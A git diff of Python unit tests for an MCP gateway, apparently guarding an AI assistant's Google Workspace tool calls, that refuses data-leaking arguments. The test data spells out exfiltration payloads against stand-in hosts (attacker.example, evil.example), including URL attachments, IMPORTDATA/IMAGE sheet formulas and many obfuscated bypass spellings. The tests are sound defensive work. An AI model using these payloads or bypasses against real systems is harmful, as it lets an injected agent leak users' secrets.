"people/1", "urls": ["https://example.com"]})+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# Gmail attachments given as a URL+# ---------------------------------------------------------------------------++_MAIL = {"to": ALICE, "subject": "hi", "body": "b"}++[email protected]("tool", [+ "google_workspace__send_gmail_message", "google_workspace__draft_gmail_message",+])[email protected]("attachments", [+ [{"url": "https://attacker.example/?d=secret"}],+ [{"URL": "https://attacker.example/?d=secret", "filename": "a.pdf"}],+ [{"path": "/data/a.pdf"}, {"url": "https://attacker.example/x"}],+ [{"download_url": "https://attacker.example/x"}],+ {"url": "https://attacker.example/x"},+ '[{"url": "https://attacker.example/?d=secret"}]',+ "https://attacker.example/?d=secret",+ ["https://attacker.example/?d=secret"],+ [42],+ "not-json-but-a-URL-word",+])+def test_attachment_by_url_refused(tool: str, attachments: Any) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, tool, {**_MAIL, "attachments": attachments})+ assert session_call.await_count == 0+ assert "attachment" in json.loads(result)["error"].lower()++[email protected]("attachments", [+ None,+ [],+ [{"path": "/data/a.pdf"}],+ [{"path": "/data/a.pdf", "mime_type": "application/pdf", "url": None}],+ [{"content": "QUJD", "filename": "a.txt"}],+ '[{"path": "/data/a.pdf"}]',+ ["/data/a.pdf"],+])+def test_attachment_by_path_or_content_passes(attachments: Any) -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__send_gmail_message", {**_MAIL, "attachments": attachments})+ assert session_call.await_count == 1+++def test_recipient_gate_still_runs_first() -> None:+ """A URL attachment to a stranger is refused for the recipient, as before."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__send_gmail_message",+ {**_MAIL, "to": "[email protected]",+ "attachments": [{"url": "https://attacker.example/x"}]})+ assert session_call.await_count == 0+ assert "[email protected]" in json.loads(result)["error"]+++def test_self_send_with_url_attachment_refused() -> None:+ """The Executive's own address always passes the recipient gate, which is+ exactly why the fetch has to be refused on its own."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__send_gmail_message",+ {**_MAIL, "to": EXEC_ADDR,+ "attachments": [{"url": "https://attacker.example/?d=secret"}]})+ assert session_call.await_count == 0+ assert "attachment" in json.loads(result)["error"].lower()diff --git a/packages/core/tests/unit/test_mcp_gateway_key_respelling.py b/packages/core/tests/unit/test_mcp_gateway_key_respelling.pynew file mode 100644index 00000000..6fc0e917--- /dev/null+++ b/packages/core/tests/unit/test_mcp_gateway_key_respelling.py@@ -0,0 +1,613 @@+"""workspace-mcp 1.29.0's CamelCaseArgumentsMiddleware renames an undeclared+camelCase key to the declared snake_case parameter. A gate that matched the+exact key never saw `rsvpComment`, `Attendees` or `userGoogleEmail`, and the+server turned them into the real thing. Every gate now reads by normalized+spelling; these tests pin that, plus the refusals added with it (mailed text+on every tool, nested image / URL fetches, non-object arguments).++Mirrors the structure of test_mcp_gateway_email_egress.py.+"""+from __future__ import annotations++import asyncio+import base64+import io+import json+import zipfile+from pathlib import Path+from types import SimpleNamespace+from typing import Any+from unittest.mock import AsyncMock, MagicMock, patch++import pytest++import openexecutive.audit+import openexecutive.orchestrator.mcp_gateway as gw_module+from openexecutive.orchestrator.mcp_gateway import MCPGateway+from openexecutive.people import store as people_store++EXEC_ADDR = "[email protected]"+ALICE = "[email protected]"+STRANGER = "[email protected]"+EVENT = "google_workspace__manage_event"++[email protected](autouse=True)+def isolated(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:+ db_path = tmp_path / "people.db"+ monkeypatch.setattr(people_store, "DB_PATH", db_path)+ people_store.initialize_db()+ people_store.upsert_person(full_name="Alice", email=ALICE)+ monkeypatch.setattr(openexecutive.audit, "log_event", lambda *a, **k: None)+++def _make_gateway() -> tuple[MCPGateway, AsyncMock]:+ gateway = MCPGateway()+ session = MagicMock()+ fake_result = MagicMock()+ fake_result.content = [MagicMock(text='{"ok": true}')]+ session.call_tool = AsyncMock(return_value=fake_result)+ gateway._session = session+ return gateway, session.call_tool+++def _call(gateway: MCPGateway, tool_name: str, arguments: Any) -> str:+ settings = SimpleNamespace(exec_email_address=EXEC_ADDR, email_poll_interval_seconds=60)+ with patch.object(gw_module, "get_settings", return_value=settings):+ return asyncio.run(gateway.call_tool({"name": tool_name, "arguments": arguments}))+++def _forwarded(session_call: AsyncMock) -> dict[str, Any]:+ return session_call.await_args.args[1]["arguments"]+++# ---------------------------------------------------------------------------+# Text Google mails to someone the roster never checked+# ---------------------------------------------------------------------------++[email protected]("key", ["rsvp_comment", "rsvpComment", "RSVPComment", "Rsvp-Comment"])+def test_rsvp_comment_refused_in_any_spelling(key: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, EVENT, {"action": "rsvp", "event_id": "e1",+ "response": "accepted", key: "the secret"})+ assert session_call.await_count == 0+ assert key in json.loads(result)["error"]++[email protected]("tool", [+ "google_workspace__manage_out_of_office", "google_workspace__manage_focus_time",+])[email protected]("key", ["decline_message", "declineMessage"])+def test_decline_message_refused(tool: str, key: str) -> None:+ """An auto-decline is mailed to whoever invites the Executive in the window."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, tool, {"action": "create", "start": "2026-10-01T09:00:00Z",+ "end": "2026-10-02T09:00:00Z", key: "the secret"})+ assert session_call.await_count == 0+ assert key in json.loads(result)["error"]+++def test_out_of_office_without_message_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__manage_out_of_office",+ {"action": "create", "start": "2026-10-01T09:00:00Z", "end": "2026-10-02T09:00:00Z",+ "decline_message": None})+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# Acting account+# ---------------------------------------------------------------------------++[email protected]("key", ["userGoogleEmail", "UserGoogleEmail", "user-google-email"])+def test_other_account_refused_in_any_spelling(key: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__search_gmail_messages",+ {"query": "x", key: "[email protected]"})+ assert session_call.await_count == 0+ assert "[email protected]" in json.loads(result)["error"]+++def test_exact_key_exec_plus_respelled_other_account_refused() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__search_gmail_messages",+ {"query": "x", "user_google_email": EXEC_ADDR,+ "userGoogleEmail": "[email protected]"})+ assert session_call.await_count == 0+ assert "[email protected]" in json.loads(result)["error"]+++def test_respelled_exec_address_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__search_gmail_messages",+ {"query": "x", "userGoogleEmail": EXEC_ADDR.upper()})+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# Calendar attendees and the notification pin+# ---------------------------------------------------------------------------++[email protected]("key", ["Attendees", "ATTENDEES", "attendees_"])+def test_off_roster_attendee_refused_in_any_spelling(key: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, EVENT, {"action": "create", "summary": "s", key: [STRANGER]})+ assert session_call.await_count == 0+ assert STRANGER in json.loads(result)["error"]+++def test_empty_exact_key_beside_respelled_stranger_refused() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, EVENT, {"action": "create", "attendees": [],+ "Attendees": [{"email": STRANGER}]})+ assert session_call.await_count == 0+ assert STRANGER in json.loads(result)["error"]+++def test_respelled_roster_attendee_passes_and_keeps_notifications() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, EVENT, {"action": "update", "event_id": "e1", "Attendees": [ALICE],+ "send_updates": "all"})+ assert session_call.await_count == 1+ assert _forwarded(session_call)["send_updates"] == "all"+++def test_respelled_send_updates_cannot_undo_the_pin() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, EVENT, {"action": "update", "event_id": "e1", "description": "d",+ "sendUpdates": "all"})+ fwd = _forwarded(session_call)+ assert fwd["send_updates"] == "none"+ assert "sendUpdates" not in fwd++[email protected]("action", ["Delete", " delete ", "RSVP"])+def test_action_matched_like_the_server(action: str) -> None:+ """A respelled delete/rsvp passes through the gate as the server treats it."""+ gateway, session_call = _make_gateway()+ _call(gateway, EVENT, {"action": action, "event_id": "e1"})+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# Nested fetches (Google-side)+# ---------------------------------------------------------------------------++[email protected]("tool,arguments", [+ ("google_workspace__insert_doc_image",+ {"document_id": "d", "index": 1, "image_source": "https://attacker.example/p.png?d=s"}),+ ("google_workspace__batch_update_presentation",+ {"presentation_id": "p", "requests": [{"createImage": {"url": "https://attacker.example/x"}}]}),+ ("google_workspace__batch_update_presentation",+ {"presentation_id": "p", "requests": [{"replaceAllShapesWithImage":+ {"imageUrl": "https://attacker.example/x"}}]}),+ ("google_workspace__batch_update_form",+ {"form_id": "f", "requests": [{"createItem": {"item": {"image":+ {"sourceUri": "https://attacker.example/x"}}}}]}),+])+def test_nested_fetch_refused(tool: str, arguments: dict[str, Any]) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, tool, arguments)+ assert session_call.await_count == 0+ assert "fetch" in json.loads(result)["error"]+++def test_drive_file_id_image_source_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__insert_doc_image",+ {"document_id": "d", "index": 1, "image_source": "1AbCdEfDriveFileId"})+ assert session_call.await_count == 1+++def test_hyperlink_in_doc_is_not_a_fetch() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__batch_update_doc",+ {"document_id": "d", "operations": [{"type": "insert_text", "text": "see",+ "link_url": "https://example.com"}]})+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# Argument shapes that must not skip the gates+# ---------------------------------------------------------------------------++[email protected]("arguments", ["[]", "null", '"{\\"a\\": 1}"', [], [1, 2], "42"])+def test_non_object_arguments_refused_for_workspace_tools(arguments: Any) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__get_events", arguments)+ assert session_call.await_count == 0+ assert "JSON object" in json.loads(result)["error"]+++def test_apps_script_refused_whatever_the_arguments() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__run_script_function",+ '"{\\"script_id\\": \\"x\\", \\"function_name\\": \\"f\\"}"')+ assert session_call.await_count == 0+ assert "Apps Script" in json.loads(result)["error"]+++def test_other_servers_keep_their_arguments_as_is() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "notion__search", [1, 2])+ assert session_call.await_count == 1+++def test_deeply_nested_attachments_refused_not_crashed() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__send_gmail_message",+ {"to": ALICE, "subject": "s", "body": "b", "attachments": "[" * 100_000})+ assert session_call.await_count == 0+ assert "attachment" in json.loads(result)["error"].lower()+++# ---------------------------------------------------------------------------+# Second review round: Google-side fetches by key suffix, scheme, and formula+# ---------------------------------------------------------------------------+++def test_slide_background_content_url_refused() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__batch_update_presentation", {+ "presentation_id": "p",+ "requests": [{"updatePageProperties": {"objectId": "s1", "pageProperties": {+ "pageBackgroundFill": {"stretchedPictureFill":+ {"contentUrl": "https://attacker.example/x.png?d=s"}}},+ "fields": "pageBackgroundFill"}}],+ })+ assert session_call.await_count == 0+ assert "fetch" in json.loads(result)["error"]++[email protected]("value", [+ "https:evil.example/x.png", "HTTP://evil.example/x", " ftp://evil.example/x",+ "data:image/png;base64,AAAA",+])+def test_any_url_scheme_counts(value: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__batch_update_doc",+ {"document_id": "d", "operations": [{"type": "insert_image", "image_uri": value}]})+ assert session_call.await_count == 0+ assert "fetch" in json.loads(result)["error"]++[email protected]("key,value", [+ ("link_url", "https://example.com/page"), # a document hyperlink, stored+ ("conference_uri", "https://meet.example/abc"), # a meeting link, stored+ ("youtube_uri", "https://youtu.be/x"), # YouTube only+ ("image_uri", "1AbCdEfDriveFileId"), # a Drive id, no scheme+])+def test_stored_urls_and_drive_ids_pass(key: str, value: str) -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__some_tool", {"x": [{"nested": {key: value}}]})+ assert session_call.await_count == 1++[email protected]("tool,arguments", [+ ("google_workspace__modify_sheet_values",+ {"spreadsheet_id": "s", "range_name": "A1", "values": [["=IMPORTDATA(\"https://evil.example/?d=s\")"]]}),+ ("google_workspace__append_table_rows",+ {"spreadsheet_id": "s", "table": "t", "rows": [{"c": "= importxml(\"https://evil.example\", \"//a\")"}]}),+ ("google_workspace__modify_sheet_values",+ {"spreadsheet_id": "s", "range_name": "A1", "values": [["=IMAGE(\"https://evil.example/?d=s\")"]]}),+ ("google_workspace__create_table_with_data",+ {"spreadsheet_id": "s", "data": [["h"], ["=IMPORTHTML(\"https://evil.example\",\"table\",1)"]]}),+])+def test_fetching_sheet_formulas_refused(tool: str, arguments: dict[str, Any]) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, tool, arguments)+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"]++[email protected]("cell", ["=SUM(A1:A5)", "IMPORTDATA is a function", "=HYPERLINK(\"https://x\",\"x\")", "plain"])+def test_ordinary_cells_pass(cell: str) -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__modify_sheet_values",+ {"spreadsheet_id": "s", "range_name": "A1", "values": [[cell]]})+ assert session_call.await_count == 1+++def test_formula_text_in_a_doc_is_not_a_cell() -> None:+ """The formula rule is for tools that write cells; a Doc stores text."""+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__modify_doc_text",+ {"document_id": "d", "text": "=IMPORTDATA(\"https://example.com\") is dangerous"})+ assert session_call.await_count == 1+++def test_deeply_nested_string_arguments_do_not_crash() -> None:+ gateway, _session_call = _make_gateway()+ result = _call(gateway, "google_workspace__get_events", "[" * 100_000)+ assert isinstance(result, str)+++# ---------------------------------------------------------------------------+# Third review round: formula gate bypasses, URL values a parser still fetches+# ---------------------------------------------------------------------------++_FORMULA = "=IMPORTDATA(\"https://evil.example/?q=SECRET\")"++[email protected]("tool,arguments", [+ # values JSON-encoded: the string starts with "[" not "="+ ("google_workspace__modify_sheet_values",+ {"spreadsheet_id": "s", "range_name": "A1", "values": json.dumps([[_FORMULA]])}),+ ("google_workspace__append_table_rows",+ {"spreadsheet_id": "s", "table": "t", "values": json.dumps([["=IMAGE(\"https://evil.example/x\")"]])}),+ # a CSV cell mid-line+ ("google_workspace__import_to_google_sheets",+ {"file_name": "x.csv", "content": "a,b\nc," + _FORMULA}),+ # a native Sheet rewritten from CSV through Drive — no "sheet" in the name+ ("google_workspace__update_drive_file",+ {"file_id": "1sheet", "mime_type": "text/csv", "content": _FORMULA}),+ ("google_workspace__create_drive_file",+ {"file_name": "x.csv", "content": "h\n" + _FORMULA, "content_mime_type": "text/csv"}),+ # no "=" at all+ ("google_workspace__modify_sheet_values",+ {"spreadsheet_id": "s", "range_name": "A1", "values": [["+IMPORTDATA(\"https://evil.example\")"]]}),+ # conditional formatting custom formula+ ("google_workspace__manage_conditional_formatting",+ {"spreadsheet_id": "s", "rules": [{"custom_formula": "=ISNUMBER(IMPORTDATA(\"https://evil.example\"))"}]}),+])+def test_formula_gate_bypasses_closed(tool: str, arguments: dict[str, Any]) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, tool, arguments)+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"]+++def test_plain_csv_content_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__import_to_google_sheets",+ {"file_name": "x.csv", "content": "name,total\nacme,=SUM(B2:B9)\n"})+ assert session_call.await_count == 1++[email protected]("value", [+ "//evil.example/?q=S", "\x01https://evil.example/x", "\u200bhttps://evil.example/x",+ " \t\nhttps://evil.example/x", "\ufeffdata:image/png;base64,AA",+])+def test_url_values_a_parser_would_still_fetch_are_refused(value: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__batch_update_presentation",+ {"presentation_id": "p",+ "requests": [{"replaceAllShapesWithImage": {"imageUrl": value}}]})+ assert session_call.await_count == 0+ assert "fetch" in json.loads(result)["error"]+++def test_drive_id_with_stray_whitespace_still_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__insert_doc_image",+ {"document_id": "d", "index": 1, "image_source": " 1AbCdEfDriveFileId "})+ assert session_call.await_count == 1+++# ---------------------------------------------------------------------------+# Fourth review round: what the server decodes, and what a zip hides+# ---------------------------------------------------------------------------++_SHEET = "google_workspace__modify_sheet_values"+++def _xlsx(formula: str) -> str:+ buf = io.BytesIO()+ with zipfile.ZipFile(buf, "w") as z:+ z.writestr("[Content_Types].xml", "<Types/>")+ z.writestr("xl/worksheets/sheet1.xml",+ f'<worksheet><sheetData><row><c><f>{formula}</f></c></row></sheetData></worksheet>')+ return base64.b64encode(buf.getvalue()).decode()++[email protected]("values", [+ # JSON escapes the server decodes: \u0049 is "I", \u0028 is "("+ '[["=\\u0049MPORTDATA(\\"https://evil.example/?q=S\\")"]]',+ '[["=IMPORTDATA\\u0028\\"https://evil.example/?q=S\\")"]]',+ # JSON inside JSON+ json.dumps([json.dumps(["=IMAGE(\"https://evil.example/x\")"])]),+])+def test_json_escaped_formula_refused(values: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, _SHEET, {"spreadsheet_id": "s", "range_name": "A1", "values": values})+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"]+++def test_json_escaped_formula_in_conditional_formatting_refused() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__manage_conditional_formatting",+ {"spreadsheet_id": "s",+ "condition_values": '["=ISNUMBER(\\u0049MPORTDATA(\\"https://evil.example\\"))"]'})+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"]+++def test_json_string_requests_with_image_url_refused() -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__batch_update_presentation",+ {"presentation_id": "p",+ "requests": json.dumps([{"createImage": {"url": "https://evil.example/?q=S"}}])})+ assert session_call.await_count == 0+ assert "fetch" in json.loads(result)["error"]++[email protected]("tool,extra", [+ ("google_workspace__import_to_google_sheets", {"file_name": "x.xlsx"}),+ ("google_workspace__create_drive_file",+ {"file_name": "x.xlsx", "mime_type": "application/vnd.google-apps.spreadsheet"}),+ ("google_workspace__create_drive_file",+ {"file_name": "x.csv", "content_mime_type": "text/csv"}),+])+def test_binary_upload_that_becomes_a_sheet_refused(tool: str, extra: dict[str, Any]) -> None:+ """Whatever it holds: an XLSX hides formulas behind zip members, XML+ encodings and character references, so none of it is inspected."""+ gateway, session_call = _make_gateway()+ for payload in (_xlsx("SUM(A1:A9)"), _xlsx('IMPORTDATA("https://evil.example"&A1)'),+ base64.b64encode(b"name,total\nacme,42\n").decode()):+ result = _call(gateway, tool, {**extra, "base64_content": payload})+ assert "cannot be checked" in json.loads(result)["error"]+ assert session_call.await_count == 0+++def test_binary_uploads_that_do_not_become_a_sheet_pass() -> None:+ """A PNG to Drive, a DOCX to Docs: not cells, not scanned, not refused."""+ gateway, session_call = _make_gateway()+ png = base64.b64encode(b"\x89PNG\r\n\x1a\n" + bytes(range(256))).decode()+ _call(gateway, "google_workspace__create_drive_file",+ {"file_name": "x.png", "mime_type": "image/png", "base64_content": png})+ _call(gateway, "google_workspace__create_drive_file",+ {"file_name": "x.png", "base64_content": png})+ _call(gateway, "google_workspace__create_drive_file",+ {"file_name": "x.xlsx", "file_path": "/data/attachments/x.xlsx"})+ _call(gateway, "google_workspace__import_to_google_doc",+ {"file_name": "x.docx", "base64_content": base64.b64encode(bytes(range(256))).decode()})+ assert session_call.await_count == 4+++def test_csv_text_content_to_a_sheet_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__import_to_google_sheets",+ {"file_name": "x.csv", "content": "name,total\nacme,=SUM(B2:B9)\ncaf\u00e9,1\n"})+ assert session_call.await_count == 1++[email protected]("cell", [+ 'IMPORTDATA("https://evil.example"&A1)', # ( as a character reference+ 'IMPORTDATA("https://evil.example")', # I as a character reference+ 'IMPORT<![CDATA[DATA]]>("https://evil.example")', # CDATA split+ 'IMPORT<!---->DATA("https://evil.example")', # comment split+ '=IMAGE("https://evil.example/x")',+ 'IMPORT<b></b>DATA("https://evil.example")', # plain empty tag split+ 'IMPORT<span class="x"></span>DATA("https://evil.example")',+ '<i>IMPORT</i><i>DATA</i>("https://evil.example")',+])+def test_markup_encoded_formula_in_text_content_refused(cell: str) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__update_drive_file",+ {"file_id": "1sheet", "mime_type": "text/html",+ "content": f"<table><tr><td>{cell}</td></tr></table>"})+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"]+++def test_oversize_json_string_refused_not_skipped() -> None:+ """Too big to parse must not mean unchecked: the server would parse it."""+ gateway, session_call = _make_gateway()+ values = "[[" + " " * 2_000_001 + '"=\\u0049MPORTDATA(\\"https://evil.example/?q=\\"&A1)"]]'+ result = _call(gateway, _SHEET, {"spreadsheet_id": "s", "range_name": "A1", "values": values})+ assert session_call.await_count == 0+ assert "cannot be checked" in json.loads(result)["error"]+++def test_server_side_file_path_refused_on_cell_writers() -> None:+ """Usually an attachment someone mailed in; its formulas cannot be seen here."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__import_to_google_sheets",+ {"file_name": "x.xlsx", "file_path": "/data/attachments/x.xlsx"})+ assert session_call.await_count == 0+ assert "cannot be checked" in json.loads(result)["error"]+++def test_drive_share_scan_reads_json_encoded_grantees() -> None:+ """The JSON-aware walk also serves the Drive gate."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__manage_drive_access",+ {"file_id": "f", "action": "grant",+ "permissions": json.dumps([{"email": STRANGER, "role": "reader"}])})+ assert session_call.await_count == 0+ assert STRANGER in json.loads(result)["error"]++[email protected]("cell", [+ "=\x00I\x00M\x00P\x00O\x00R\x00T\x00D\x00A\x00T\x00A\x00(\x00", # UTF-16-shaped bytes+ "=\uff29\uff2d\uff30\uff2f\uff32\uff34\uff24\uff21\uff34\uff21(", # full-width letters+ "=IMPORTDATA\uff08", # full-width parenthesis+ "=IMPORT\u00adDATA(", # soft hyphen inside+ "=IM\u200bPORTDATA(", # zero-width space inside+])+def test_folded_formula_spellings_refused(cell: str) -> None:+ """What a converter might fold away before parsing is folded away here too."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__import_to_google_sheets",+ {"file_name": "x.csv", "content": f"a,{cell}\"https://evil.example/?q=S\")\n"})+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"]+++# ---------------------------------------------------------------------------+# Review of the PR: the walks fail closed at the depth cap, at every boundary+# ---------------------------------------------------------------------------+++def _buried(payload: Any, depth: int) -> Any:+ for _ in range(depth):+ payload = [payload]+ return payload++[email protected]("depth", [31, 32, 33, 34, 60])+def test_formula_buried_at_any_depth_is_refused(depth: int) -> None:+ """Shallower than the cap it is read and refused; deeper, it is unread and+ refused — never forwarded."""+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__manage_conditional_formatting",+ {"spreadsheet_id": "s",+ "custom_formula": _buried("=IMPORTDATA(\"https://evil.example/?q=S\")", depth)})+ assert session_call.await_count == 0+ assert "formula" in json.loads(result)["error"] or "nested this deep" in json.loads(result)["error"]++[email protected]("depth", [31, 32, 33, 60])+def test_grantee_buried_at_any_depth_is_refused(depth: int) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__manage_drive_access",+ {"file_id": "f", "action": "grant", "permissions": _buried({"email": STRANGER}, depth)})+ assert session_call.await_count == 0+ err = json.loads(result)["error"]+ assert STRANGER in err or "nested this deep" in err or "fetch" in err+++def test_shallow_nesting_still_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__manage_conditional_formatting",+ {"spreadsheet_id": "s", "rules": _buried({"custom_formula": "=A1>5"}, 5)})+ assert session_call.await_count == 1++[email protected]("attachments", [+ [{"metadata": {"url": "https://attacker.example/?d=secret"}}],+ [{"source": [{"nested": {"downloadUrl": "https://attacker.example/x"}}]}],+ [_buried({"url": "https://attacker.example/x"}, 40)],+])+def test_attachment_url_at_any_depth_refused(attachments: Any) -> None:+ gateway, session_call = _make_gateway()+ result = _call(gateway, "google_workspace__send_gmail_message",+ {"to": ALICE, "subject": "s", "body": "b", "attachments": attachments})+ assert session_call.await_count == 0+ assert "attachment" in json.loads(result)["error"].lower()+++def test_attachment_with_nested_non_url_metadata_passes() -> None:+ gateway, session_call = _make_gateway()+ _call(gateway, "google_workspace__send_gmail_message",+ {"to": ALICE, "subject": "s", "body": "b",+ "attachments": [{"path": "/data/a.pdf", "meta": {"pages": 3, "title": "x"}}]})+ assert session_call.await_count == 1+++def test_formula_scan_is_linear_on_many_unclosed_openers() -> None:+ """The tag strip is a forward scan, not a regex: 200k unclosed "<!--"+ must not take quadratic time."""+ import time+ gateway, session_call = _make_gateway()+ text = "<!--" * 200_000 + "harmless"+ t0 = time.perf_counter()+ _call(gateway, "google_workspace__import_to_google_sheets", {"file_name": "x.csv", "content": text})+ assert time.perf_counter() - t0 < 5+ assert session_call.await_count == 1diff --git a/packages/core/tests/unit/test_private_turns.py b/packages/core/tests/unit/test_private_turns.pyindex 29b9343b..82c69446 100644--- a/packages/core/tests/unit/test_private_turns.py+++ b/packages/core/tests/unit/test_private_turns.py@@ -1121,8 +1121,9 @@ _REFUSED_CALLS: list[tuple[str, dict[str, Any]]] = [("google_workspace__x__send", {"text": _NOTE}),("google_workspace__send_message", {"space_id": "spaces/AAA", "message_text": _NOTE}),("google_workspace__modify_doc_text", {"document_id": "shared-doc", "text": _NOTE}),- ("google_workspace__create_drive_file",- {"file_name": "n.txt", "fileUrl": "https://collector.example/?q=Jordan"}),+ # By content: the fileUrl form is refused by the gateway's own URL-fetch+ # gate on every turn (test_mcp_gateway_fetch_and_script_egress.py).+ ("google_workspace__create_drive_file", {"file_name": "n.txt", "content": _NOTE}),("google_workspace__manage_event",{"action": "create", "calendar_id": "[email protected]", "summary": _NOTE}),]